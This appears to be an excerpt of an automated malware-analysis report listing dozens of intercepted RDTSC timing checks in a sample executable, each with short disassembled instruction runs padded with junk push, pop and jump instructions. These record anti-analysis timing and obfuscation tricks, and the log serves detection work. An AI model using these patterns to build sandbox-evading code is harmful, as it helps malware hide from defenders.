Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831372 second address: 831387 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F153924BB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F153924BB8Dh 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831387 second address: 83138D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83138D second address: 8313A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F153924BB6Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8313A1 second address: 8313A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830024 second address: 830035 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F153924BB66h 0x00000009 jno 00007F153924BB66h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830035 second address: 830041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830041 second address: 830045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830045 second address: 83004F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1538C62CD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830711 second address: 830722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jnc 00007F153924BB66h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830722 second address: 83072B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83072B second address: 830730 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830730 second address: 830736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830736 second address: 83076A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F153924BB71h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F153924BB78h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83076A second address: 83076E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83076E second address: 830772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8309F5 second address: 8309F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8309F9 second address: 830A1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F153924BB78h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830A1B second address: 830A2E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1538C62CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007F1538C62CD6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830A2E second address: 830A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830A34 second address: 830A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F1538C62CE8h 0x0000000f jmp 00007F1538C62CE0h 0x00000014 popad 0x00000015 popad 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F1538C62CE9h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830C0B second address: 830C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830C18 second address: 830C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830C23 second address: 830C2E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007F153924BB66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830DDF second address: 830DE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830DE5 second address: 830DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83563D second address: 835643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835643 second address: 835655 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F153924BB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F153924BB6Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835ABF second address: 835AC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835C19 second address: 835C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835C1D second address: 835C31 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 js 00007F1538C62CD6h 0x0000000d pop ecx 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835C31 second address: 835C35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836306 second address: 83631E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1538C62CE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83631E second address: 836328 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F153924BB66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836328 second address: 836364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1538C62CDDh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jnc 00007F1538C62CD6h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jc 00007F1538C62CDEh 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 jnp 00007F1538C62CD6h 0x00000028 jl 00007F1538C62CDCh 0x0000002e jl 00007F1538C62CD6h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8364A7 second address: 8364D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F153924BB79h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8364D7 second address: 8364DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8364DB second address: 8364E1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8364E1 second address: 8364E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83660B second address: 836615 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F153924BB66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836615 second address: 83661B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83661B second address: 836620 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836620 second address: 836628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5CEB second address: 7C5CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5CEF second address: 7C5CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5CF3 second address: 7C5CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836B03 second address: 836B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836B07 second address: 836B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F153924BB6Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836B1B second address: 836B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836B21 second address: 836B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836B25 second address: 836B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836B29 second address: 836B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835309 second address: 835327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1538C62CE4h 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5CB4 second address: 7C5CC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5CC9 second address: 7C5CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 jl 00007F1538C62CD8h 0x0000000e push esi 0x0000000f pop esi 0x00000010 jmp 00007F1538C62CDCh 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C50D second address: 83C530 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB79h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C530 second address: 83C536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C536 second address: 83C53A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83CDFA second address: 83CE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83CE00 second address: 83CE04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83CE04 second address: 83CE0E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1538C62CD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83CE0E second address: 83CE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F153924BB76h 0x0000000c pop esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83CE2F second address: 83CE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1538C62CD6h 0x0000000a jmp 00007F1538C62CE9h 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 jbe 00007F1538C62CDEh 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D27B second address: 83D281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D281 second address: 83D285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840CC1 second address: 840D02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 jng 00007F153924BB8Fh 0x0000000e jmp 00007F153924BB73h 0x00000013 jmp 00007F153924BB76h 0x00000018 push eax 0x00000019 push edx 0x0000001a jnp 00007F153924BB66h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840D02 second address: 840D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840D06 second address: 840D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840D0A second address: 840D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802038 second address: 802051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F153924BB75h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802051 second address: 8020B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F1538C62CE2h 0x0000000e lea eax, dword ptr [ebp+12486D49h] 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F1538C62CD8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e mov ecx, dword ptr [ebp+122D3D57h] 0x00000034 nop 0x00000035 pushad 0x00000036 jng 00007F1538C62CE5h 0x0000003c jmp 00007F1538C62CDFh 0x00000041 pushad 0x00000042 push ecx 0x00000043 pop ecx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8021EB second address: 8021F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8021F1 second address: 8021F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802597 second address: 80259D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8026B6 second address: 8026BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80292B second address: 80292F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80292F second address: 802933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802AF5 second address: 802AF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802AF9 second address: 802AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803441 second address: 803446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803446 second address: 7EC984 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b or dword ptr [ebp+122D1DD2h], ebx 0x00000011 lea eax, dword ptr [ebp+12486D8Dh] 0x00000017 jmp 00007F1538C62CDCh 0x0000001c push edi 0x0000001d jns 00007F1538C62CDCh 0x00000023 pop ecx 0x00000024 nop 0x00000025 pushad 0x00000026 pushad 0x00000027 push edx 0x00000028 pop edx 0x00000029 jmp 00007F1538C62CE8h 0x0000002e popad 0x0000002f jmp 00007F1538C62CE1h 0x00000034 popad 0x00000035 push eax 0x00000036 pushad 0x00000037 pushad 0x00000038 jnl 00007F1538C62CD6h 0x0000003e jmp 00007F1538C62CDEh 0x00000043 popad 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 pop edx 0x00000048 popad 0x00000049 nop 0x0000004a push eax 0x0000004b xor dword ptr [ebp+122D3136h], eax 0x00000051 pop ecx 0x00000052 lea eax, dword ptr [ebp+12486D49h] 0x00000058 mov dh, ah 0x0000005a push eax 0x0000005b jns 00007F1538C62CF2h 0x00000061 mov dword ptr [esp], eax 0x00000064 mov edx, dword ptr [ebp+122D3CA7h] 0x0000006a call dword ptr [ebp+122D1C6Bh] 0x00000070 jng 00007F1538C62CE6h 0x00000076 push ebx 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844585 second address: 844589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844589 second address: 84458F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84458F second address: 844597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844597 second address: 84459B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8446E9 second address: 8446ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF152 second address: 7BF15B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84487C second address: 844894 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB6Fh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844E50 second address: 844E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84877E second address: 848782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 848782 second address: 848786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 848786 second address: 8487B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F153924BB6Ah 0x0000000e jmp 00007F153924BB6Fh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 jmp 00007F153924BB6Ah 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C955 second address: 84C95F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C95F second address: 84C965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84CAFF second address: 84CB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F1538C62CEAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84CB1E second address: 84CB41 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F153924BB6Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jnl 00007F153924BB66h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F153924BB6Bh 0x00000017 jnc 00007F153924BB66h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84CB41 second address: 84CB55 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F1538C62CD8h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F3BB second address: 84F3C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F153924BB66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F0E1 second address: 84F0EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F1538C62CD6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853874 second address: 853878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
